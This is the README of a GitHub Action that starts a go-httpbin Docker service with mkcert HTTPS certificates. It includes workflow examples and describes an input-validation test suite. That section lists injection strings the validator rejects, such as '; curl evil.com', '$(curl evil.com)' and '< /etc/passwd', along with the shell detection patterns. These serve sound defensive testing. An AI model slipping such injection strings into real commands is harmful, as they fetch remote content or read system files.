A GitHub Action that sets up a local go-httpbin service with HTTPS support.
- 🔒 HTTPS Support: Automatically generates valid SSL certificates using mkcert
- 🐳 Docker-based: Runs go-httpbin in a Docker container for isolation
- 🔧 Highly Configurable: Supports configuration options for different use cases
- 🚀 Fast Setup: Optimized for CI/CD pipelines with built-in readiness checking
- 🌐 Network Flexibility: Supports both host networking and standard port mapping
- 📊 Debug Support: Optional verbose logging for troubleshooting
- ✅ Reliable Readiness: Uses
lfreleng-actions/http-api-tool-dockerfor robust service verification
steps:
# Start the go-httpbin container with built-in readiness check
- name: Setup go-httpbin
uses: lfreleng/setup-go-httpbin@v1
id: httpbin
# Testing (the action includes built-in readiness check)
- name: Test go-httpbin endpoint
uses: lfreleng-actions/http-api-tool-docker@v0.1.0
with:
url: "${{ steps.httpbin.outputs.service-url }}/get"
service_name: "go-httpbin GET endpoint"
verify_ssl: false
expected_http_code: 200
regex: '"url"'
debug: truesteps:
- name: Setup go-httpbin with custom configuration
uses: lfreleng/setup-go-httpbin@v1
id: httpbin
with:
container-name: 'my-httpbin'
port: '9090'
use-host-network: 'true'
debug: 'true'
wait-timeout: '120'
certificate-domains: 'myservice.local,api.test'
docker-run-args: '--cpus=0.5 --memory=256m'
- name: Test with proper SSL verification
uses: lfreleng-actions/http-api-tool-docker@main
with:
url: "${{ steps.httpbin.outputs.service-url }}/get"
service_name: "go-httpbin SSL verified endpoint"
verify_ssl: true
ca_bundle_path: "${{ steps.httpbin.outputs.ca-cert-path }}"
expected_http_code: 200
regex: '"url"'
debug: truesteps:
- name: Setup go-httpbin without SSL
uses: lfreleng/setup-go-httpbin@v1
id: httpbin
with:
skip-certificate: 'true'
- name: Test HTTP endpoint
uses: lfreleng-actions/http-api-tool-docker@main
with:
url: "${{ steps.httpbin.outputs.service-url }}/get"
service_name: "go-httpbin HTTP endpoint"
verify_ssl: false
expected_http_code: 200
regex: '"url"'
debug: truesteps:
- name: Setup go-httpbin without readiness check
uses: lfreleng/setup-go-httpbin@v1
id: httpbin
with:
skip-readiness-check: 'true'
# Handle readiness checking manually
- name: Custom readiness check
uses: lfreleng-actions/http-api-tool-docker@main
with:
url: "${{ steps.httpbin.outputs.service-url }}/get"
service_name: "Custom readiness check"
verify_ssl: false
expected_http_code: 200
retries: 30
initial_sleep_time: 2| Input | Description | Required | Default |
|---|---|---|---|
container-name |
Name for the Docker container | No | go-httpbin |
port |
Port to expose the service on | No | 8080 |
image |
Docker image to use | No | ghcr.io/mccutchen/go-httpbin |
image-tag |
Tag of the Docker image | No | latest |
use-host-network |
Use host networking (true/false) | No | false |
wait-timeout |
Wait time for service ready (retries) | No | 60 |
debug |
Enable debug output (true/false) | No | false |
cert-file-path |
SSL certificate file path | No | <secure>/cert.pem |
key-file-path |
SSL private key file path | No | <secure>/key.pem |
certificate-domains |
Extra domains for SSL certificate | No | `` |
skip-certificate |
Skip SSL certificate generation | No | false |
docker-run-args |
Extra Docker run arguments | No | `` |
install-deps |
Whether to install dependencies | No | true |
go-version |
Go version for building mkcert (if unavailable) | No | 1.24 |
skip-readiness-check |
Skip the built-in readiness check | No | false |
| Output | Description |
|---|---|
container-name |
Name of the created container |
service-url |
Base URL for accessing the service |
host-gateway-ip |
Docker host gateway IP for container communication |
ca-cert-path |
Path to the mkcert CA certificate (relative to workspace) |
cert-file |
Path to the SSL certificate file |
key-file |
Path to the SSL private key file |
protocol |
Protocol used (http or https) |
The action also sets the following environment variables for convenience:
HOST_GATEWAY: Docker host gateway IPPROTOCOL: Protocol in use (http or https)MKCERT_CA_PATH: Path to the mkcert CA certificate (when using HTTPS)GO_HTTPBIN_URL: Base URL of the running service
Uses Docker port mapping to expose the service on the specified port:
- uses: lfreleng/setup-go-httpbin@v1
with:
port: '8080'The service URL is automatically set to the Docker host gateway IP (typically
172.17.0.1) with the specified port for container-to-container communication.
From the host (your local machine): Access the service at
https://localhost:${{ inputs.port }} (e.g., https://localhost:8080).
From containers (like http-api-tool-docker): Use the service-url output,
which points to https://$HOST_GATEWAY:${{ inputs.port }} for proper
container-to-container networking.
Uses Docker host networking for direct access:
- uses: lfreleng/setup-go-httpbin@v1
with:
use-host-network: 'true'Access the service at: https://localhost:8080.
Note: In host network mode, the container uses port 8080 directly on the host network namespace. The port input has no effect in this mode.
The action automatically:
- Installs mkcert and creates a local CA
- Generates SSL certificates for
localhostand any extra domains - Installs the CA certificate in the system trust store
- Provides paths to certificates for manual SSL verification
Security Note: The action stores certificates in secure temporary
directories with restricted permissions (700) rather than world-readable /tmp
directories. The secure directories receive automatic cleanup when the action
completes.
# With proper SSL verification using http-api-tool-docker
- uses: lfreleng-actions/http-api-tool-docker@main
with:
url: "${{ steps.httpbin.outputs.service-url }}/get"
service_name: "API Test"
verify_ssl: true
ca_bundle_path: "${{ steps.httpbin.outputs.ca-cert-path }}"
expected_http_code: 200
# Without SSL verification (for testing)
- uses: lfreleng-actions/http-api-tool-docker@main
with:
url: "${{ steps.httpbin.outputs.service-url }}/get"
service_name: "API Test"
verify_ssl: false
expected_http_code: 200jobs:
test-api:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Setup go-httpbin
uses: lfreleng/setup-go-httpbin@v1
id: httpbin
- name: Test GET endpoint
uses: lfreleng-actions/http-api-tool-docker@main
with:
url: "${{ steps.httpbin.outputs.service-url }}/get"
service_name: "GET endpoint test"
verify_ssl: true
ca_bundle_path: "${{ steps.httpbin.outputs.ca-cert-path }}"
expected_http_code: 200
regex: '"url"'
debug: true
- name: Test POST endpoint
uses: lfreleng-actions/http-api-tool-docker@main
with:
url: "${{ steps.httpbin.outputs.service-url }}/post"
service_name: "POST endpoint test"
http_method: "POST"
request_body: '{"test": "data"}'
content_type: "application/json"
verify_ssl: false
expected_http_code: 200
regex: '"json"'
- name: Test authentication
uses: lfreleng-actions/http-api-tool-docker@main
with:
url: "${{ steps.httpbin.outputs.service-url }}/basic-auth/user/pass"
service_name: "Auth endpoint test"
auth_string: "user:pass"
verify_ssl: false
expected_http_code: 200
regex: '"authenticated"'jobs:
test-api-tool:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Setup go-httpbin
uses: lfreleng/setup-go-httpbin@v1
id: httpbin
- name: Test custom API tool
run: |
./my-api-tool test \
--url "${{ steps.httpbin.outputs.service-url }}/get" \
--ca-bundle "${{ steps.httpbin.outputs.ca-cert-path }}"jobs:
test-error-cases:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Setup go-httpbin
uses: lfreleng/setup-go-httpbin@v1
id: httpbin
- name: Test 404 handling
uses: lfreleng-actions/http-api-tool-docker@main
with:
url: "${{ steps.httpbin.outputs.service-url }}/status/404"
service_name: "404 endpoint test"
verify_ssl: false
expected_http_code: 404
debug: true
- name: Test timeout handling
uses: lfreleng-actions/http-api-tool-docker@main
with:
url: "${{ steps.httpbin.outputs.service-url }}/delay/3"
service_name: "Timeout test"
verify_ssl: false
curl_timeout: 5
max_response_time: 4
fail_on_timeout: false
debug: true
- name: Test large response
uses: lfreleng-actions/http-api-tool-docker@main
with:
url: "${{ steps.httpbin.outputs.service-url }}/bytes/2048"
service_name: "Large response test"
verify_ssl: false
expected_http_code: 200
include_response_body: truejobs:
test-docker:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Setup go-httpbin
uses: lfreleng/setup-go-httpbin@v1
id: httpbin
with:
use-host-network: 'true' # Better for container-to-container communication
- name: Test containerized application
run: |
docker run --rm --network=host my-app:test \
test-endpoint "${{ steps.httpbin.outputs.service-url }}/post"
### Performance and Load Testing
```yaml
jobs:
performance-test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Setup go-httpbin
uses: lfreleng/setup-go-httpbin@v1
id: httpbin
with:
debug: 'false' # Reduce noise during performance tests
wait-timeout: '120' # Allow more time for heavy load
docker-run-args: '--cpus=1.0 --memory=512m' # Resource limits
- name: Test response time limits
uses: lfreleng-actions/http-api-tool-docker@main
with:
url: "${{ steps.httpbin.outputs.service-url }}/delay/1"
service_name: "Performance test"
verify_ssl: false
max_response_time: 2
fail_on_timeout: true
retries: 3
debug: true- uses: lfreleng/setup-go-httpbin@v1
with:
debug: 'true'This will provide verbose output including:
- Certificate generation details
- Container startup logs
- Network connectivity tests
- Final service verification
- Service not ready timeout: Increase
wait-timeoutvalue - SSL certificate issues: Check
ca-cert-pathoutput and use it explicitly - Network connectivity: Try
use-host-network: 'true'for container-to-container communication - Port conflicts: Change the
portinput to an available port
- name: Debug go-httpbin setup
run: |
# Check container status
docker ps -a -f name="${{ steps.httpbin.outputs.container-name }}"
# Check container logs
docker logs "${{ steps.httpbin.outputs.container-name }}"
- name: Test connectivity with http-api-tool-docker
uses: lfreleng-actions/http-api-tool-docker@main
with:
url: "${{ steps.httpbin.outputs.service-url }}/"
service_name: "Debug connectivity test"
verify_ssl: false
debug: true
retries: 1
continue-on-error: true
- name: Check certificates
run: |
# Check certificates
ls -la /tmp/localhost*pem
openssl x509 -in "${{ steps.httpbin.outputs.cert-file }}" -text \
-noout | head -10This project uses a comprehensive testing approach with both local testing capabilities and CI/CD integration.
Run the input validation test suite locally:
# Run all security validation tests
./tests/test-input-validation.sh
# Run with verbose output for debugging
./tests/test-input-validation.sh -v
# Keep containers after tests for inspection
./tests/test-input-validation.sh --no-cleanup
# Show help and options
./tests/test-input-validation.sh --helpA comprehensive shell script that validates the action's security measures and input handling:
Security Tests (Should Fail):
- Command Injection:
--memory=512m; curl evil.com - Variable Expansion:
--env=${HOME}/malicious,--env=$PATH - Code Execution:
--memory=$(curl evil.com),--memory=\curl evil.com`` - Shell Redirection:
--memory < /etc/passwd,--memory > /tmp/evil - Invalid Formats:
--mem@ry=512m
Valid Input Tests (Should Succeed):
- Resource Limits:
--memory=512m --cpu-shares=512 - Network Config:
--network=bridge --publish=8080:8080 - Combined Args:
--memory=512m --cpu-shares=512 --restart=unless-stopped - Short Flags:
-m 512m - Empty Args:
""
Test Features:
- Local Execution: Run the same tests locally and in CI
- No Parameter Escaping: Direct string testing without GitHub Actions template expansion issues
- Comprehensive Coverage: 16 different security and functionality scenarios
- Colored Output: Clear pass/fail indicators with detailed logging
- Cleanup Management: Automatic container cleanup with optional retention
The test suite integrates with GitHub Actions workflow:
# .github/workflows/input-validation.yaml
- name: 'Run Input Validation Tests'
run: ./tests/test-input-validation.sh --verboseWorkflow Benefits:
- Simplified Configuration: Single script call instead of 25+ individual test steps
- Better Maintainability: Easy to add new tests without complex YAML
- Consistent Environment: Same validation logic runs locally and in CI
- Enhanced Security: No GitHub Actions template expansion interference
- Clear Reporting: Detailed test results with artifact generation
To add a new security test:
- Create Test Function:
test_new_security_scenario() {
run_action_test \
"Description of security test" \
"container-name" \
"port" \
"malicious-docker-args" \
"true" # Should fail
}- Add to Main Function:
# In main() function
test_new_security_scenario- Test Locally:
./tests/test-input-validation.sh -vThe test suite uses the same security validation logic as the action:
# Command injection patterns
[[ "$arg" == *";"* ]] || [[ "$arg" == *"&"* ]] || [[ "$arg" == *"|"* ]]
# Code execution patterns
[[ "$arg" == *'$('* ]] || [[ "$arg" == *'`'* ]]
# Variable expansion patterns
[[ "$arg" == *'${'* ]] || [[ "$arg" =~ \$[A-Za-z_] ]]
# Shell redirection
[[ "$arg" == *"<"* ]] || [[ "$arg" == *">"* ]]
# Docker argument format
[[ "$arg" =~ ^--?[a-zA-Z0-9-]+(=.*)?$ ]]- Bash 4.0+ for the test script
- Docker (for container cleanup validation)
- Git (for repository operations)
Test Script Issues:
# Make script executable
chmod +x tests/test-input-validation.sh
# Check script syntax
bash -n tests/test-input-validation.sh
# Run with debug output
./tests/test-input-validation.sh -vCommon Problems:
- Permission Denied: Ensure script is executable
- Docker Access: Verify Docker daemon is running
- Path Issues: Run from repository root directory
Debug Commands:
# Check test environment
docker --version
bash --version
# Verify action structure
ls -la action.yaml
# Test single validation
echo '--env=$PATH' | grep '\$[A-Za-z_]'- Linux or macOS runner (Windows is not supported)
- Docker (available by default in GitHub Actions runners)
- Go 1.18+ (will be automatically installed if not available or too old)
- Internet connectivity (for downloading dependencies and building mkcert from source)
This action installs mkcert from source for enhanced security and
cross-platform compatibility:
- Source Verification: Pins to a specific Git commit
(
2a46726cebac0ff4e1f133d90b4e4c42f1edf44a) for mkcert v1.4.4 - Cross-Platform: Works on Linux and macOS runners (Windows is not supported)
- Go Version Management: Automatically installs Go if not available or if version is too old
- Platform-Specific Dependencies: Installs appropriate NSS tools for each supported platform
This action uses the Apache License 2.0. See the LICENSE file for details.